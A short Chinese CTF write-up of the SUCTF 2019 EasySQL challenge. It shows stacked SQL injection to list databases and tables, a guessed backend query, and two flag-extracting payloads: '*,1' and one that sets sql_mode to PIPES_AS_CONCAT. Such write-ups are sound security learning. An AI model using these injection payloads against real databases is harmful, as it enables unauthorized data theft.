[SUCTF 2019]EasySQL
尝试注入,我们发现它并没有注释掉show,database,那就尝试堆叠注入
1;show databases;
成功得到回显
同理我们show tables也行
1;show tables;
但是show columns from Flag就不行
它就只有简单的Array ( [0] => 1 )
那我就推断一下:
他的后端既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag
然后既然是找旗子的,则原语句应该为from Flag
随所以猜测原来的sql语句是
select $_POST['query'] || flag from flag
基于这个猜测,我们的payload就是
*,1
得到了我们的flag
至于为什么是*,1呢
首先我们先明白1||flag,这个或语句,明显返回的1,所以我们拼接一下就是
select *,1 from flag
select 1 from 的意思其实是建立一个临时列,这个列的所有初始值都被设为1
关键就是这个*了
还有一种方法是看大佬的博客学的
把||变成字符串连接符,而不是或
涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat字符就可以设置
1;set sql_mode=PIPES_AS_CONCAT;select 1
就是把 || 设置成了 concat函数
上面那句执行是:
select concat(1,flag) from Flag
参考链接:https://blog.csdn.net/StevenOnesir/article/details/110203051